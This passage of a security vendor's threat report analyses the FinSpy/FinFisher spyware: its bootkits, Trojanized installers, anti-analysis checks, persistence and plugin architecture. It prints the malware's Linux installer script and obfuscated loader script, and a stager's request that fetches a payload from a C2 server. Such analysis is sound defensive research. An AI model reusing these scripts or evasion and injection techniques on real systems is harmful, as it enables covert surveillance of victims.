FinSpy: unseen findings


![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/28092657/abstract_spy_eye-990x400.jpg) FinSpy, also known as FinFisher or [Wingbird](<http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf>), is an infamous surveillance toolset. Kaspersky has been tracking deployments of this spyware since 2011. Historically, its Windows implant was distributed through a single-stage installer. This version was detected and researched [several](<https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/>) [times](<https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf>) up to 2018. Since that year, we observed a decreasing detection rate of FinSpy for Windows. While the nature of this anomaly remained unknown, we began detecting some suspicious installers of legitimate applications, backdoored with a relatively small obfuscated downloader. We were unable to cluster those packages until the middle of 2019 when we found a host that served these installers among FinSpy Mobile implants for Android. Over the course of our investigation, we found out that the backdoored installers are nothing more than first stage implants that are used to download and deploy further payloads before the actual FinSpy Trojan. Apart from the Trojanized installers, we also observed infections involving usage of a UEFI or MBR bootkit. While the MBR infection has been known since at least 2014, details on the UEFI bootkit are publicly revealed in this article for the first time. We decided to share some of our unseen findings about the actual state of FinSpy implants. We will cover not only the version for Windows, but also the Linux and macOS versions, since they have a lot of internal structure and code similarities. The full details of this research, as well as future updates on FinSpy, are available to customers of the APT reporting service through our Threat Intelligence Portal. Contact: [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>) ## UEFI infection During our research, we found a UEFI bootkit that was loading FinSpy. All machines infected with the UEFI bootkit had the Windows Boot Manager (**bootmgfw.efi**) replaced with a malicious one. When the UEFI transfers execution to the malicious loader, it first locates the original Windows Boot Manager. It is stored inside the **efi\microsoft\boot\en-us\ **directory, with the name consisting of hexadecimal characters. This directory contains two more files: the Winlogon Injector and the Trojan Loader. Both of them are encrypted with RC4. The decryption key is the EFI system partition GUID, which differs from one machine to another. [![Sample contents of the \\efi\\microsoft\\boot\\en-us\\ directory](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24151729/SAS_story_FinFisher_01.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24151729/SAS_story_FinFisher_01.png>) **_Sample contents of the \efi\microsoft\boot\en-us\ directory_** Once the original bootloader is located, it is loaded into memory, patched and launched. The patched launcher: * Patches the function of the OS loader that transfers execution to the kernel * The patched function hooks the kernel's **PsCreateSystemThread** function, which, when called for the first time, creates an additional thread that decrypts the next loader stage and launches it. The next stage: * Locates the Trojan loader file on the EFI partition and decrypts it * Waits until a user logs on and injects the Trojan loader into **exe. ** The Trojan loader: * Extracts the Trojan from resources and drops it under the name **dll** * Decrypts the Trojan with a XOR-based cipher and unpacks it with aPLib * Reflectively loads and launches the Trojan. ## MBR infection Older machines that do not support UEFI can be infected through the MBR. When the victim machine starts up, the infected MBR copies the initial loader code from the last megabyte of the hard drive to the highest available memory located before the EBDA1. This code hooks the **13h** and **15h** BIOS interrupts and then launches the original MBR. The **15h** interrupt makes sure that the Windows loader does not overwrite the copied code. When this interrupt is called to get the size of the area before the EBDA, the hook will reduce the amount of available memory. As for the **13h** interrupt hook (which manages reading information from disk), it patches the OS loader when it is read from disk. Just as in the case with the EFI infection, the hooked functions place their own hooks on further OS loading stages. The last hook in the chain creates a thread in the kernel that injects the next stage into **winlogon.exe**. In case the infection is installed on a 32-bit machine, the process of injecting code into **winlogon.exe** is more complex than the one observed in the UEFI infection. It is as follows: * A thread with trampoline shellcode is created inside **exe.** * This shellcode duplicates the **exe** process handle and transfers it to **explorer.exe**. * The shellcode injects another trampoline shellcode in Explorer. * The second shellcode makes **exe** inject the Trojan loader back into **winlogon.exe**. This roundabout way of injecting code is intended to trick security solutions. The injected Trojan loader is the same as the UEFI one. ## User Mode Infection ### Overview This infection is by far the most complex. In short, the attack scenario is as follows: * The victim downloads a Trojanized application and executes it. * During its normal course of operation the application connects to a C2 server, downloads and then launches a non-persistent component called the Pre-Validator. The Pre-Validator ensures that the victim machine is not used for malware analysis. * The Pre-Validator downloads Security Shellcodes from the C2 server and executes them. In total, it deploys more than 30 shellcodes. Each shellcode collects specific system information (e.g. the current process name) and uploads it back to the server. * In case a check fails, the C2 server terminates the infection process. Otherwise, it continues sending shellcodes. * If all security checks pass, the server provides a component that we call the Post-Validator. It is a persistent implant likely used to ensure that the victim is the intended one. The Post-Validator collects information that allows it to identify the victim machine (running processes, recently opened documents, screenshots) and sends it to a C2 server specified in its configuration. * Depending on the information collected, the C2 server may command the Post-Validator to deploy the full-fledged Trojan platform or remove the infection. [![Overview of the user mode infection](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24151828/SAS_story_FinFisher_02-641x1024.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24151828/SAS_story_FinFisher_02.png>) **_Overview of the user mode infection_** ### Trojanized applications Throughout our research, we identified numerous legitimate applications backdoored with FinSpy. Examples include software installers (e.g. TeamViewer, VLC Media Player, WinRAR) as well as portable applications. All observed backdoored application samples have their original digital signature. It is invalid, which indicates that the application has been patched. While the entry point function of the application looks clear, inspection of the executable's PE file sections does reveal anomalies: the backdoored application has its last section (**.rsrc** on the screenshot below) expanded by 51 KB. [![Sections of the original \(left\) and backdoored \(right\) application](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24151858/SAS_story_FinFisher_03-1024x150.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24151858/SAS_story_FinFisher_03.png>) **_Sections of the original (left) and backdoored (right) application_** Apart from that, a part of code from the .text section (roughly 8 KB) is overwritten with heavily obfuscated code, with the original application code placed in the expanded last section. When the backdoored application launches, it runs as normal, i.e. the inserted obfuscated code does not impact the application workflow. At some point the application executes a jump instruction that redirects execution to the obfuscated trampoline in the **.text** section. This instruction appears to be placed randomly in the code. For example, a call to the **CreateWindowExW** function has been replaced: [![The original \(left\) and patched \(right\) code of the backdoored application](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24152056/SAS_story_FinFisher_04-1024x102.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24152056/SAS_story_FinFisher_04.png>) **_The original (left) and patched (right) code of the backdoored application_** This trampoline is protected with an obfuscator that we dubbed FinSpy Mutator. It launches a code that: * Decrypts and launches a slightly modified [Metasploit Reverse HTTPS stager](<https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_http.rb>). The decryption procedure: * Is obfuscated with FinSpy Mutator * Involves applying 10 operations (ADD, SUB, XOR, ROL, ROR) to every byte of the stager * Is different in every backdoored installer. * Restores the code in the **.text** section that was overwritten with the malicious code (recall that the original code is saved in the resource section) * Resolves relocations in the restored code * Restores the instruction that has been overwritten with a jump * Jumps to the restored instruction, thus resuming the execution of the original application. The Metasploit stager connects to a configured C2 server using HTTPS for communication. In the case of 5EDF9810355DE986EAD251B297856F38, the stager sends the following GET request to the C2 server: GET https://45[.]86[.]163[.]138/blog/ASVn6Wg5VbnZxiG2PSVbaSa-G8PmI2ew2zFBQGEZbDUEmx9mE88dw0Zxmu-AeuheOJYJ1F6kTh6uA0UJDkfISp--k6bGNOuULoTSlr-AXwvWapnFLOe4QEpqY_pe3uoGC88y3JqiQifHlRRqcE9whGX_-X14BIv35Q HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Host: 45[.]86[.]136[.]138 Connection: Keep-Alive Cache-Control: no-cache The C2 server replies with a component that we called the Pre-Validator in response to the GET request. The Metasploit stager launches it. ### The Pre-Validator The Pre-Validator is a shellcode obfuscated with FinSpy Mutator. On startup, it: * Hooks the **NtTerminateProcess** and **ExitProcess** functions to make sure the Pre-Validator continues working if the backdoored application is closed. The hooked functions close all the application's windows but do not terminate its process. * Makes an initial POST request to the C2 server. Example of the request URL: **https://45[.]86[.]163[.]138/blog/index.asp?attachmentid=a46dee635db8017962741f99f1849471&d=5d7e89e6b4874d0df95141bd923556f8 **(all parts of this URL vary between samples). All communications between the server are encrypted with RC4. The reply to the initial POST request contains a shellcode that we called a Security Shellcode. On receiving it, the Pre-Validator: * Decrypts and executes the received Security Shellcode * Sends the shellcode execution results to the C2 server via a POST request. * Receives the next Security Shellcode from the C2 server and repeats the steps above. The nature of these shellcodes indicates that they are used to fingerprint the system and verify that it is not used for malware analysis. It is important to highlight that the shellcodes only collect the data, all the checks are performed server-side. In case a shellcode uploads suspicious execution results (e.g. the Pre-Validator is running on a virtual machine), the server provides a shellcode that terminates the Pre-Validator. The received shellcodes are protected with either FinSpy Mutator, an obfuscator resembling [OLLVM](<https://github.com/obfuscator-llvm/obfuscator>) or both these protectors. In total, we observed 33 Security Shellcodes provided by the server (listed in execution order): **Shellcode #** | **Description** ---|--- 1 | Attempts to detect a hypervisor with the [CPUID (EAX = 1)](<https://en.wikipedia.org/wiki/CPUID#EAX=1:_Processor_Info_and_Feature_Bits>) instruction. If detected, returns the hypervisor name (EAX = 0x40000000), otherwise returns zero bytes. 2 | Checks whether the current process needs to be impersonated (for example, if an unprivileged user runs the backdoored application as administrator). 3 | Returns the user's profile folder (e.g. C:\Users\username) 4 | Returns the short form of the user's profile folder (e.g. C:\Users\abcdef~1) 5 | Returns the type of the drive containing the backdoored application (e.g. removable drive) 6 | Returns process names of the current process tree (i.e. the current process, the parent process, the grandparent process, etc.) 7 | Returns the path to the 'Program Files' folder. 8 | For the system drive, returns: * Overall available space * Space available to current user (may be less than overall available space due to quotas) * Disk capacity 9 | Returns the path to the user's temporary folder. 10 | Returns the list of network adapter types, IP and MAC addresses assigned to them. 11 | Returns the list of running processes 12 | Returns **ProcessDebugPort** value returned by **NtQueryInformationProcess** for current process. 13 | Returns **ProcessDebugObjectHandle** value returned by **NtQueryInformationProcess** for current process. 14 | Returns **TotalNumberOfObjects** and **TotalNumberOfHandles** values of objects created by **NtCreateDebugObject**. 15 | Returns the current user's SID. 16 | Returns the list of images (EXE/DLL files) loaded into the current process. 17 | Returns **OSVERSIONINFOEXW** and **SYSTEM_INFO** structures. 18 | Returns information about the machine's BIOS. 19 | Returns the list of object names in the **\GLOBAL??** directory. 20 | Returns information about the operating system. 21 | Returns the current user's name, computer name, path to the current executable, its name and command line path. 22 | Returns the list of loaded drivers. 23 | Returns the list of PDB paths of loaded drivers 24 | Returns the first 16 bytes of the first exported Zw* function of ntdll.dll (ZwAcceptConnectPort) 25 | Verifies the signature of the parent process. 26 | Returns information about connected Plug and Play devices. 27 | Returns information about the computer system (from SELECT * FROM Win32_ComputerSystem WMI query) 28 | Returns the list of connected PCI devices. 29 | Returns names of shortcuts in the Desktop directory. 30 | Returns the list of top-level and child window class names not owned by the current or parent process. 31 | Returns the list of top-level and child window titles not owned by the current or parent process. 32 | Returns the current domain SID. 33 | Cleans API functions potentially hooked by security solutions: Nt* functions in ntdll.dll and all exported functions in kernel32.dll, kernelbase.dll and advapi32.dll. Once all security checks are passed, the C2 server sends a shellcode that downloads and runs the Post-Validator Installer. ### The Post-Validator Installer This module is an obfuscated shellcode. It: * Creates a subdirectory (name differs between samples) in the **C:\ProgramData** directory * Drops two files in the newly created subdirectory: * The Post-Validator Loader DLL * A shellcode with the Post-Validator itself. The file names are hardcoded in the dropper but are unique for each sample and appear to be randomly generated. * Creates a scheduled task that runs at system startup and launches the Post-Validator Loader via **regsvr32** (task action: **%windir%\syswow64\regsvr32.exe /s "<path to the Loader DLL>"**) After the Post-Validator is installed, the Pre-Validator shuts down. ### The Post-Validator Loader The Post-Validator Loader is a huge (3-9 MB) obfuscated DLL. The Task Scheduler launches it at system startup through **regsvr32.exe**. Its main function is several megabytes in size, but despite that, its purpose is simple: read and execute a shellcode that is stored in the same directory as the Post-Validator Loader. [![Sample scheduled task properties](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24152159/SAS_story_FinFisher_05-1024x386.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24152159/SAS_story_FinFisher_05.png>) **_Sample scheduled task properties_** The launched shellcode decrypts the Post-Validator (it is stored in the same file with the shellcode) with RC4 (key: domain SID) and reflectively loads it. ### The Post-Validator The Post-Validator is a DLL obfuscated with [VMProtect](<https://vmpsoft.com/>). This module uses the same communication protocol that is used in the main Trojan component: * The TLV ([type-length-value](<https://en.wikipedia.org/wiki/Type%E2%80%93length%E2%80%93value>)) format to exchange data with C2 servers * TLV type constants that are found in the Trojan * The Trojan's Cryptography Library to encrypt/decrypt exchanged data On startup, the Post-Validator verifies that it is not launched inside a sandbox environment. It then starts communication with C2 servers specified in its configuration, sending heartbeat messages with 15-minute intervals. Each heartbeat includes brief information about the victim machine. The heartbeat reply may contain different commands. **TLV ID** | **Command purpose (inferred from the main Trojan)** | **Implementation of command in the Post-Validator** ---|---|--- 0x8030A0 | Retrieves the implant configuration. 0x8070A0 | Retrieve the list of files with data prepared for exfiltration. | Sends back three strings in a TLV: **243a**, **201a** and **201b** ('virtual' data file names) 0x8072A0 | Upload a prepared file with a specified name to the C2 server. | If the prepared file name is: * **201a**, obtains the list of processes and sends it to the C2 server. * **201b**, gets the list of recent files and sends it to the C2 server. * **243a**, takes a screenshot and uploads it to the C2 server. 0x8054A0, 0x805BA0, 0x8056A0, 0x805DA0, 0x8057A0, 0x805EA0 | Commands are used to download and install plugins. | Commands are used to download and run the Trojan Installer. 0x801530, 0x801630, 0x801730, 0x8018A0 | Uninstall the Trojan. | Uninstall the Pre-Validator. 0x7502A0 | Disconnect from the C2 server. When the Post-Validator receives the Trojan Installer (which is a DLL), it: * Reflectively loads and launches the Installer * Depending on the configuration, either uninstalls itself (by deleting its directory and the scheduled task) or goes to sleep until system reboot. Based on the data collected by the Post-Validator, it is most likely that: * The Post-Validator is deployed to ensure that the infected victim is the intended one. * The C2 server operator manually analyzes data received from the victim and commands to either remove the Post-Validator or infect the machine with the Trojan. The Post-Validator is another obstacle for researchers. Even if they manage to pass all the checks of the Pre-Validator, the C2 server operator may refuse to infect a suspicious machine. ### The Trojan Installer The Installer creates the working directory (path: **%localappdata%\Microsoft\<two concatenated English words>) **and sets it as being accessed, modified and created a year earlier. Afterwards, it drops the following files to it: **File name** | **Description** ---|--- **<4 random hexadecimal characters>.cab** | The setup configuration file, which is encrypted with RC4 (key: the name of the working directory). **Names differ between samples** | The encrypted VFS file. The Initial Loader. **msvcr90.dll** | The Trojan bundle, encrypted with XOR and compressed with aPLib. **msvcr120d.dll** | 64-bit Trojan loader. The executable is prepended with 0x4000 random bytes and encrypted with RC4 (key: machine GUID) **msvcr140d.dll** | 32-bit Trojan loader, also prepended with random bytes and encrypted with RC4. The timestamps of dropped files are set to one year earlier than the current date. Once the working directory is prepared, the Installer launches the Trojan. ### The Initial Loader The Initial Loader is a DLL that is launched on every startup by **rundll32.exe** (the Trojan adds it to the **HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run** key, the value name is unique for each sample). The size of the Initial Loader exceeds 5 MB. It is obfuscated with a protector resembling the open source OLLVM obfuscator. Despite its size, the only functionality of the Initial Loader is to decrypt and launch the 32-bit Trojan Loader. ### The Trojan Loader The 32-bit Trojan Loader, which is launched regardless of the victim machine architecture, checks if it is running on a 64-bit system. If so, it reads the 64-bit loader **(msvcr120d.dll**) from disk and runs it as a shellcode. The Trojan Loader (either the 32-bit or the 64-bit one): * Reads the Trojan bundle file (**dll**), decrypts it with XOR and unpacks with aPLib. * Injects the Trojan DLL into **exe** by either calling **CreateRemoteThread** or using the **KernelCallbackTable** [technique](<https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/>). ## MacOS Infection The macOS version of the malware is not as complicated as the Windows one. It is written in Objective-C. An obfuscator similar to OLLVM is used to protect FinSpy for Mac. Additionally, Objective-C selectors that may reveal information about method names contain junk. The macOS version of FinSpy has the following components: * The Installer. Unlike the Windows version that features numerous installers, the macOS version has only one installer type. * The Initial Loader. * The Trojan Loader. * The Trojan that consists of the Orchestrator, the Cryptography Library and plugins. ### The Installer When the victim executes the malicious app, an executable located at the **<malicious application name>.app/Contents/MacOS/installer** path is launched. On startup, it checks the environment for debuggers and virtual machines. It drops the following files to the machine: **Path** | **Description** ---|--- /Library/Frameworks/Storage.framework | A directory with the Trojan inside /private/etc/logind | The Trojan loader that runs as a launch agent. This file is executed on startup. /Library/LaunchAgents/logind.plist | The configuration of the **logind** agent. The Trojan needs it in order to maintain persistence. All copied files are timestomped (modification date is the timestamp of **Finder.app**). The Installer sets their owner to **root:wheel**. It additionally sets the SUID and SGID bits of the **/private/etc/logind** file. By copying the **logind.plist** file to the **/Library/LaunchAgents** directory the Installer configures the Trojan to load at startup. The Installer then launches the **logind** executable (Trojan Loader) with the **launchctl** utility. ### The Initial Loader The Initial Loader (**/private/etc/logind**) launches every time when the operating system boots up. Once launched, The Initial Loader launches the Trojan Loader (**/Library/Frameworks/Storage.framework/Contents/MacOS/logind**). ### The Trojan Loader The Trojan Loader has a constructor function that is invoked before **main**. It sets hooks on functions that load application bundles. These hooks allow the Trojan to load plugins while decrypting them on the fly. Once the hooks are placed, the Trojan Loader launches the Orchestrator (**/Library/Frameworks/Storage.framework/Contents/Resources/dataPkg**). The Orchestrator (as well as plugins) are packed with aPLib and encrypted with AES. When the Orchestrator is unpacked, it is reflectively loaded. ## Linux Infection The Linux version of FinSpy is protected with an obfuscator similar to OLLVM. It has the same components as in the macOS version (Initial Loader, Trojan Loader, Orchestrator and plugins). ### The Installer Infection vectors used to deliver FinSpy for Linux are unknown. The leaked FinFisher support questions database suggests physical access could be used to infect machines: [![A question related to Linux infection which was submitted to FinFisher support in 2013](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24152400/SAS_story_FinFisher_06.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24152400/SAS_story_FinFisher_06.png>) **_A question related to Linux infection which was submitted to FinFisher support in 2013_** The initial stage of the Installer is the following shell script: #!/bin/sh ELF_MAGIC=7f arch=`od -j4 -N1 -An -t u1 < /bin/sh | tr -d ' '` case $arch in 1) ARCHIVE=`grep --text --line-number '^__x86xx__$' "$0" | cut -d ':' -f 1` ;; 2) ARCHIVE=`grep --text --line-number '^__x64xx__$' "$0" | cut -d ':' -f 1` ;; *) exit 0 ;; esac ARCHIVE=$((ARCHIVE+1)) tail -n +$ARCHIVE $0 > /tmp/udev2 && chmod +x /tmp/udev2 if [ -n "$SUDO_USER" ]; then su -c /tmp/udev2 $SUDO_USER else /tmp/udev2 fi if [ "$?" -eq 0 ];then rm -rf "$0" fi exit 0 This script determines the victim machine architecture. Depending on it, the script extracts either the 32-bit or the 64-bit second stage installer to the **/tmp/udev2** file and launches it. Both versions of the installer executable are appended to the Bash script. The 32-bit version is delimited from the script with the **__x86xx__ **string, and the **__x64xx__ **string delimits the 64-bit version from the 32-bit one. The launched executable first checks if it is running in a virtual machine with: * The CPUID assembly instruction * The **lspci** command * The **dmesg** command In case a virtual machine is detected and the installed Trojan cannot be launched in a VM, the installer exits. The working directory is located at the **~/<directory #1>/<directory #2>** path. Directory #1 and #2 can take the following names that are selected randomly: **Directory #1 names** | **Directory #2 names** ---|--- .cache .dbus .fontconfig .gconf .gnome .gnome2 .kde .local .qt .ssh | .config .bin .sbin .etc .cfg .apps The installer then drops the Trojan to the working directory. The name of the Trojan Loader file is one of the following: * cpuset * kthreadd * ksnapd * udevd * dbus-daemon * atd * crond * hald The plugin files have the **<module ID>.so** name, and the names of their configurations are **<module ID>C.dat**. After dropping the files, the Installer sets up persistence. On KDE, it copies a Bash script to either **~/.kde4/Autostart/udev2.sh **or** ~/.kde/Autostart/udev2.sh**. On other desktop environments , it appends the same script to the **~/.profile** file. ### The Initial Loader The Initial Loader is the following shell script: if [ ! -n "$CS_FONT" ]; then # Load fonts by id CS_FONT_RID="<hexadecimal-encoded working directory path>" CS_FONT_ID="<hexadecimal-encoded Trojan Loader filename>" CS_FONT_COL="6364" CS_FONT_COLF=`echo ${CS_FONT_COL} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'` CS_FONT_SID=`echo ${CS_FONT_RID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'` CS_FONT_LOAD=`echo ${CS_FONT_ID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'` if [ ! -n "$CS_FONT_COLF" ]; then CS_FONT_COLF=$(for i in `echo ${CS_FONT_COL} |sed 's/../& /g'`; do echo "000000 $i" | xxd -r; done) CS_FONT_SID=$(for i in `echo ${CS_FONT_RID} |sed 's/../& /g'`; do echo "000000 $i" | xxd -r; done) CS_FONT_LOAD=$(for i in `echo ${CS_FONT_ID} |sed 's/../& /g'`; do echo "000000 $i" | xxd -r; done) fi ${CS_FONT_COLF} ${CS_FONT_SID} && ${CS_FONT_LOAD} > /dev/null 2>&1 && ${CS_FONT_COLF} - > /dev/null 2>&1 unset CS_FONT_ID unset CS_FONT_COLF unset CS_FONT_SID unset CS_FONT_LOAD fi This script decodes the directory path and the Trojan Loader from hexadecimal and executes the "**cd <working directory path> && ./<loader filename>** **> /dev/null 2>&1 && cd - > /dev/null 2>&1″ **command, thus launching the Trojan Loader. ### The Trojan Loader When launched, the Trojan Loader: * Checks if it is being debugged with the **ptrace** function and exits if it is. * Reads the Orchestrator file from disk and unpacks it with aPLib. * Reflectively loads and launches the Orchestrator. ## The Trojan ### Overview of the Windows Trojan components The Windows version of the Trojan consists of the following components: * The Hider, the first launched component. It starts the Orchestrator and conceals memory areas that contain the Trojan components' code and data. * The Orchestrator, a DLL which is responsible for managing installed plugins and preparing data to be sent to the C2 server * Plugins, DLL modules that perform malicious activities on the victim machine * The virtual file system (VFS) which allows the Orchestrator and other plugins to seamlessly interact with plugins and their configurations * The ProcessWorm module which intercepts system activity. Similar to a network worm which infects machines in the local network, the ProcessWorm is injected into all running processes. Once a process is infected, the ProcessWorm spreads to its children. * The Communicator module which sends data to the C2 server and receives replies ### The Hider The Hider is the first launched component of the Backdoor. It is a valid PE file protected with the FinSpy VM. On startup, the Hider loads a clean copy of **ntdll.dll** from disk, which is used when calling API functions from this library. After that, it decrypts the Orchestrator, which is stored in the Hider's resource section. It is encrypted with a 256-byte RC4 key. which is unscrambled at runtime using addition, subtraction and XOR operations. The key may vary from one sample to another. [![A snippet of the RC4 key generation function](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24152502/SAS_story_FinFisher_07.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24152502/SAS_story_FinFisher_07.png>) **_A snippet of the RC4 key generation function_** After decrypting and unpacking the Orchestrator, the Hider reflectively loads it. **The hiding functionality ** Before transferring execution to the Orchestrator's entry point, the Hider activates its concealing functionality. It works as follows: * The Hider encrypts the Orchestrator's pages with a cipher based on XOR and ROL operations and assigns the **PAGE_NOACCESS** attribute to them * When the Orchestrator accesses hidden pages, the operating system generates an **ACCESS_VIOLATION** exception * The Hider detects the generated exception through the hook of the **KiUserExceptionDispatcher** function, which handles dispatching of all exceptions * The hooked function decrypts the hidden page and assigns it the **PAGE_EXECUTE_READWRITE** attribute, thus handling the exception * The Hider conceals the unhidden pages again within 30 seconds. The Hider also protects plugins loaded by the Orchestrator. ## The Orchestrator The Orchestrator is the core module of the Trojan that controls all plugins and manages C2 server communications. When the Orchestrator starts up, it: * Hooks its own IAT ([import address table](<https://en.wikipedia.org/wiki/Portable_Executable#Import_table>)) to alter the behavior of WinAPI file manipulation functions. The Orchestrator needs these hooks to interact with the VFS. * Sets up persistence by creating an entry in the **HKCU\Software\Microsoft\Windows\CurrentVersion\Run** registry key. * Reads the Orchestrator configuration and loads installed plugins. An interesting fact about the Orchestrator is that it erases its PE structures and code of initialization procedures. This trick is designed to make it more difficult to detect this component in memory and conduct analysis of its dumps. Once initialized, the Orchestrator launches its following components, which we will detail below: * The application watcher that looks for specific processes and notifies the C2 server when they are started or stopped * The ProcessWorm injector that injects the ProcessWorm into processes that are not infected with this component * The recording manager thread that controls data to be exfiltrated to the C2 server * The C2 server communicator thread. ### The application watcher The application watcher regularly examines all the processes on the system, looking for applications specified in the Orchestrator configuration. When it detects a starting first (or a stopping last) instance of a process from the list in the configuration, an appropriate event will be reported to the C2 server during heartbeat time. It is notable that the application watcher acquires handles for all running processes on the system, which results in either **winlogon.exe** or **explorer.exe** obtaining numerous process handles. [![Process handles acquired by explorer.exe on a clean system \(left\) and on an infected system with the Orchestrator residing inside the explorer.exe process \(right\)](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24152555/SAS_story_FinFisher_08.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24152555/SAS_story_FinFisher_08.png>) **_Process handles acquired by explorer.exe on a clean system (left) and on an infected system with the Orchestrator residing inside the explorer.exe process (right)_** ### The ProcessWorm injector The ProcessWorm injector thread ensures that the ProcessWorm is running in every process which can be accessed by the Orchestrator. Just like the application watcher, the injector regularly obtains the list of running processes. For every process, it verifies whether the ProcessWorm is running inside it and injects the ProcessWorm if needed. ### The recording manager Over the course of their execution, plugins may save recording files in the working directory (e.g. keylogs, screenshots or printed files). The recording manager is tasked with two duties: * Periodically checking whether there are recording files available to be sent to the C2 server * Preparing recording files to be uploaded when their download is requested by the C2 server. Every recording file stored in the working directory has the following name format: **<plugin prefix><recording type prefix><five-digit random number>.<extension>** The plugin prefix, the extension and the recording type prefix depend on the ID of the plugin that created the recording. The Orchestrator has arrays which converts IDs to prefixes and extensions. Possible plugin prefixes: _auth, avi, cert, crt, com, mem, sxs, msvc, dmem, mtx, net, nls, odbc, ole, pnp, ssl, win, vm, vsc, ntos, user, run, cvs, cvg, con, ssy_ Recording type prefixes: _inf, sys, doc, mem, vmx, net, run, dat, dll._ Filename extensions used: _doc, vmx, net, xls, zip_. ### The C2 server communication thread This thread is responsible for maintaining communication with the C2 server. In particular, it contacts the C2 server, sends heartbeats messages and receives commands. The thread dispatches received commands to plugins and sends their execution results back to the server. Below is a list of the Orchestrator commands: **Command ID** | **Description** ---|--- Commands related to recordings 0x8072A0 | Upload a recording file with a specified name to the C2 server. 0x8076A0, 0x807AA0 | Delete a recording with a given filename from the system. 0x8078A0 | Retrieve the list of all the recordings present on the victim machine. 0x8070A0 | Retrieve the list of recordings made by a plugin with the specified ID. Commands related to the configuration 0x8030A0 | Send the current configuration to the server. 0x8032A0 | Change the Orchestrator configuration. Commands related to plugins 0x8009A0 | Send a list of installed plugins to the server. 0x8054A0, 0x805BA0 | Commence the plugin installation process by creating a temporary file in the working directory. 0x8056A0, 0x805DA0 | Append a plugin body chunk to the temporary plugin file created by the previous command. 0x8057A0, 0x805EA0 | Finalize the plugin installation process. This command moves the contents of the temporary file to the virtual file system and loads the new plugin. 0x8059A0 | Uninstall a plugin from the machine. This command unloads the specified plugin and removes it from the VFS. Miscellaneous commands 0x8018A0 | Uninstall the backdoor. This command wipes all the files and registry keys created by the backdoor, as well as restores the MBR and the EFI Windows Boot Manager (provided they were infected) from backups. 0x807DA0 | Close the current C2 server connection. 0x7502A0 | Terminate all livestreams. ## The Communicator module The malware configuration includes one or multiple C2 servers which it can connect to. In case one of the servers is down, the backdoor uses one of the fallback addresses. FinSpy does not communicate with C2 servers directly from winlogon.exe or explorer.exe. Instead, it spawns a default browser process with a hidden window and injects the Communicator module in it. This is done to make communications look legitimate. ## The Virtual File System component The Virtual File System is the place where all the plugin executables and their configurations hide. All the virtual files are stored in a single "real" file, which is encrypted with RC4 and has the following structure: **File offset** | **Description** ---|--- **0x0** | CRC32 checksum of the file (the checksum computation starts from offset 4) **VFS entry #1** **0x4** | ID of the plugin corresponding to the file. The Orchestrator configuration is stored on the VFS with ID 0xFFFFFFFE. **0x8** | 0x0 if the file is a plugin configuration, 0x2 if it is a plugin executable. **0xC** | File size. **0x10** | File size again. **0x14** | File body bytes. **VFS entry #2** **…** **The last VFS entry has the ID equal to 0xFFFFFFFF and zero size. It serves as the VFS end marker.** EndOfFile - 0x10 | 0xFFFFFFFF EndOfFile - 0xC | 0x0 EndOfFile - 0x8 | 0x0 EndOfFile - 0x4 | 0x0 The VFS is accessed via file management functions hooked by the Orchestrator. For example, virtual files can be created or opened via the hooked **CreateFileW** API. The return value of the hooked file creation function is a VFS handle, which is a number of the format **0xFF000XXX**. ## The ProcessWorm The malware injects the ProcessWorm into all processes running on the system. Its main purpose is to extract specific information about running processes and send it to the Orchestrator or the plugins. The ProcessWorm is a DLL wrapped in a shellcode and obfuscated with FinSpy VM. The ProcessWorm can be injected to processes in two ways – either by spawning a remote thread with the shellcode or by creating an APC ([Asynchronous Procedure Call](<https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls>)) with the procedure address pointing to the start of the shellcode. The latter one is used when the ProcessWorm is injected into newly created processes. The loader code behaves differently depending on the chosen injection type. While the loader used with the first injection method is simple, the one invoked in case of APC injections is rather interesting. The asynchronous procedure places a hook on the **NtTestAlert** function and then exits. When the process executable is loaded, **ntdll.dll** will call the **NtTestAlert **function. Its modified version will first call the original **NtTestAlert** function and then invoke the ProcessWorm reflective loader. The ProcessWorm reflective loader comes with a twist. When it processes imports, it does not assign a function pointer to each entry in the IAT. Instead, IAT entries point to buffers of randomly generated junk code. This code obtains the address of the destination API function by XOR-ing two numbers and then jumps to it. [![Example of junk code created by the ProcessWorm loader, useful instructions are highlighted in 